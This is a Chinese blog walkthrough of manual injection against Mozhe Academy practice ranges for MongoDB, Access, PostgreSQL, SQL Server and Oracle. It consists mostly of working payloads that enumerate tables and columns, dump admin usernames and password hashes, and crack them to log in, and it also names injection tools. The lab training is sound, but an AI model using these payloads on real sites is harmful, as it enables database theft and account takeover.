SQL手工注入漏洞测试-MongoDB数据库注入-Access数据库注入-PostgreSQL数据库注入-Sql Server数据库注入-Oracle数据库注入

SQL手工注入漏洞测试


靶场地址: 墨者学院

MongoDB数据库注入

打开靶场进入环境

image-20230815092940670

点击此处跳转界面

image-20230815093036433

通过观察url信息,测试注入点

单引号找测试注入点
?id=1'
页面发生变化
构造简单的回显点
构造简单的链接测试回显:
?id=1'}); return ({title:1,content:'2

image-20230815093317765

爆库:
?id=1'}); return ({title:tojson(db),content:'1

image-20230815093403688

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表:
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1  查询有的集合(集合相当于mysql的表)

image-20230815093457086

爆字段:
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

image-20230815093617714

第二条数据:

image-20230815093942893

注意在查询字段过程当中要加上tojson进行转换,否则无法正常回显数据

image-20230815093738934

将得到的密码进行MD5解密即可,登录即可获得KEY

使用工具也可进行注入,由于sqlmap不支持MongoDB,所以可以使用NoSQLAttack工具进行注入:

工具下载地址:NoSQLAttack

具体使用参考官方文档即可

参考文档:MongoDB注入

菜鸟教程:MongoDB 查询文档

Access数据库注入

access数据库结构:

表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容,而access的话只有若干张表。注入时获取表面和内容的字段信息靠猜或爆破

打开靶场进入环境

image-20230815101741694

点击此处跳转

image-20230815101821904

测试注入,观察回显是否正常

and 1=1 回显正常
and 1=2 回显不正常
或随便输入数值 回显不正常
加入单引号回显不正常

判断字段个数

order by 1 回显正常
order by 2 回显正常
order by 3 回显正常
order by 4 回显正常
order by 5 回显不正常,说明有4列字段

猜表名,看是否存在user,admin,show等敏感信息表,靠猜或者使用bp爆破

?id=1 and exists(select * from user)  测试是否存在user 
回显不正常,说明不存在
?id=1 and exists(select * from admin)  测试是否存在admin
回显正常说明存在

image-20230815103220775

image-20230815103244003

存在admin表,测回显位置
?id=1 union select 1,2,3,4 from admin

image-20230815103352832

接下来猜字段
and exists (select id from admin)
回显正常说明存在
逐一验证id,user,username,passwd,password等敏感字段是否存在,猜测或者bp爆破
回显正常则存在该字段,不正常说明不存在该字段

以此类推去猜测即可

爆字段的值
union select 1,username,passwd,id from admin

image-20230815104009953

成功获取用户名和密码,MD5解密,登录即可获得KEY

也可以使用工具:Pangolin

image-20230815105013357

选中想要的数据过后,开始执行,等待过后即可获取

image-20230815105128674

PostgreSQL数据库注入

打开靶场进入环境

image-20230815110010000

测试注入点

image-20230815110042388

判断注入点
and 1=1 回显正常
and 1=2 回显不正常
加单引号无回显

image-20230815110314899

判断字段的个数

?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显正常
?id=1 order by 4 回显正常
?id=1 order by 5 无回显
说明有4列字段

image-20230815110529344

判断回显点

?id=-1 union select 1,2,3,4 无回显
?id=-1 union select '1','2','3','4' 正常回显
?id=-1 union select null,'null','null',null 正常回显
由此可知为字符型

image-20230815111058855

image-20230815111120850

爆库

?id=1 and 1=2 union select '1',(select current_database()),'3','4'

image-20230815111327052

爆表

利用PG_STATIO_USER_TABLES表,该表统计当前使用情况统计信息
字段信息如下,我们用到其中的relname字段信息,该字段记录表名
?id=1 and 1=2 union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1

image-20230815111635083

爆字段

?id=1and 1=2 union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 0

?id=1and 1=2 union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 1

?id=1and 1=2 union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 2

?id=1and 1=2 union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 3

获取到字段name,password,status,id等字段信息

image-20230815112606241

image-20230815112623655

获取数据信息

?id=1 and 1=2 union select null,name,password,null from public.reg_users --
或
?id=1 and 1=2 union select null,name||'::'||password,null,null from public.reg_users --

image-20230815113403649

获取下来的用户名和密码,密码进行MD5解密即可,登录即可获取KEY

image-20230815113451468

也可以使用工具进行注入

sqlmap和Pangolin注入工具均可实现注入攻击

Pangolin工具使用同以上access数据库注入使用方式一致,无非就是网址不同

Sql Server数据库注入

打开靶场进入环境

image-20230815115410637

image-20230815115602519

测试注入点

?id=2 and 1=1 回显正常
?id=2 and 1=2 回显报错
加入单引号也回显保存
任意数值也回显报错

image-20230815115628913

image-20230815115804916

判断字段的个数

?id=2 order by 1 回显正常
?id=2 order by 2 回显正常
?id=2 order by 3 回显正常
?id=2 order by 4 回显正常
?id=2 order by 5 回显报错
说明有4列字段

image-20230815115928175

判断回显点

?id=2 and 1=2  union all  select 1,2,3,4 回显报错
?id=2 and 1=2  union all  select 1,2,3,4 回显报错

可能存在字符类型,字段当中可能有单引号进行闭合
?id=-2 union all select null,'null','null',null 回显正常
?id=2 and 1=2  union all  select 1,2,'3',4 回显正常

image-20230815134432514

image-20230815134420467

爆数据库

?id=2 and 1=2  union all select 1,db_name(),'3',4

image-20230815141132013

爆表

payload:
?id=2 and 1=2  union all select 1,(select top 1 name from 数据库名.dbo.sysobjects where xtype='u'),'3',4
即:
?id=2 and 1=2  union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4


这里的mmsql和mysql语法有点不同,mmsql记录敏感信息的表在sysobjects 中。当xtype='U' 代表是用户建立的表。

image-20230815141316752

爆字段

爆字段
payload:
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('查询到的表名'),1) from sysobjects),'3',4
即:
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
...



这里解释一下col_name(),与object()

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对象的名称,而且可以返回指定下标的结果.

?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4  得username

?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password

说明mange表总共有3列,分别为:id、username、password

image-20230815141745468

image-20230815141525085

爆字段内容

payload:
?id=2 and 1=2 union all select 1,(select username from 表名),(select password from 表名 where username in ('admin_mz')),4
即:
?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

或
爆用户名和数据库当前用户
?id=-2 union all select 1,
(select top 1 username from manage where username not in(select top 0 username from manage)),suser_name(),4 --

爆用户名
?id=-2 union all select 1,
(select top 1 username from 表名 where username not in(select top 0 username from 表名)),'3',4 --
即:
?id=-2 union all select 1,
(select top 1 username from manage where username not in(select top 0 username from manage)),'3',4 --

爆密码:
?id=-2 union all select 1,
(select top 1 password from manage where username not in(select top 0 username from manage)),'3',4 --

爆用户名和当前数据库用户

image-20230815145642187

爆用户名和密码:

image-20230815142935667

爆用户名:

image-20230815144545349

爆密码:

image-20230815144556018

将以上获取的数据库密码信息进行MD5解密即可,登录即可获得KEY

image-20230815144632146

工具进行注入:

sqlmap和Pangolin注入工具均可实现注入攻击

Pangolin工具使用同以上access数据库注入使用方式一致,无非就是网址不同

image-20230815144802704

参考:MSSQL注入

SQL server注入基础

SQL server手工注入

Oracle数据库注入

打开靶场进入环境

image-20230815130802236

测试注入点

and 1=1 正常回显
and 1=2 回显不正常
加入单引号或者任意数值回显也不正常

image-20230815130851341

判断字段的个数

?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显不正常
说明有2列字段

image-20230815131159739

判断回显点

?id=1 and 1=2 union select '1','2' from dual

其中dual是Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的select语句块中。Oracle中的dual表是一个单行单列的虚拟表。

image-20230815131231526

爆数据库

?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
其中all_tables表中的owner字段为数据库名,where rownum=1的意思是只展示一行结果。

查询SYS以外的其他数据库可以用:
?id=1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner not in ('查出的数据库名')),'2' from dual

image-20230815131335187

爆数据表

?id=1 and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
此查询结果为当前数据库下的表名
user_tables 这张表中存放了所有的表名。

查询其他表名时我们也可以用“and table_name not in (‘已查到的表名’)”来查询 。
如:
?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name not in ('已查询出来的表信息')),'2' from dual

image-20230815131550714

其他表

image-20230815131627866

我们直接使用模糊查询来查询user表。(含有敏感信息的表)
Payload:
?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual

image-20230815131722906

接下来可以使用“table_name not in (‘数据表名’)”来确保是否只有这一张user表。

Payload:
?id=1 and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%' and table_name not in ('数据表名')),'2' from dual

如无回显,说明只有一张user表。

image-20230815131828452

说明只有一张user表

爆字段

接下来就开始查询字段。
构造payload:
?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='数据表名'),'2' from dual
all_tab_columns表存放所有的字段名。
即:
?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

image-20230815132011449

然后使用“and column_name not in (‘列名’)”来爆出其他字段名
Payload:
?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='数据表名' and column_name not in ('列名')),'2' from dual

即:
?id=1 and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual


查询到了存放用户名跟密码的字段名,接下来就是查询数据了。
构造payload:
?id=1 and 1=2 union select 列名(username),列名(password) from "数据表名"
注意:
一定要记得“数据表名”表名一定加上英文的双引号,应该是Oracle数据库的特性,不然的话不会回显数据!
即:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"


可以用“where USER_NAME <> '爆出的用户名'”来检差除了‘爆出的用户名’是否还存在其他用户。
Payload:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "数据表名" where USER_NAME <> '爆出的用户名'
即:
?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME <> 'hu'

image-20230815132332444

image-20230815132349434

image-20230815132448364

将以上查出来的用户和密码信息分别尝试登录,哪个成功用哪个即可。密码进行MD5解密,登录成功即可获得KEY

image-20230815132623269

使用工具进行注入:

sqlmap和Pangolin注入工具均可实现注入攻击,如果无法爆出字段信息,出现报错信息,可能是网页做了限制,手工注入即可。

Pangolin工具使用同以上access数据库注入使用方式一致,无非就是网址不同

Pangolin工具若也无法爆出字段的信息,可能也是网页做了限制,手工注入即可。

参考文档:【实战】Oracle注入总结

oracle注入总结

文章不妥之处,欢迎批评指正!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值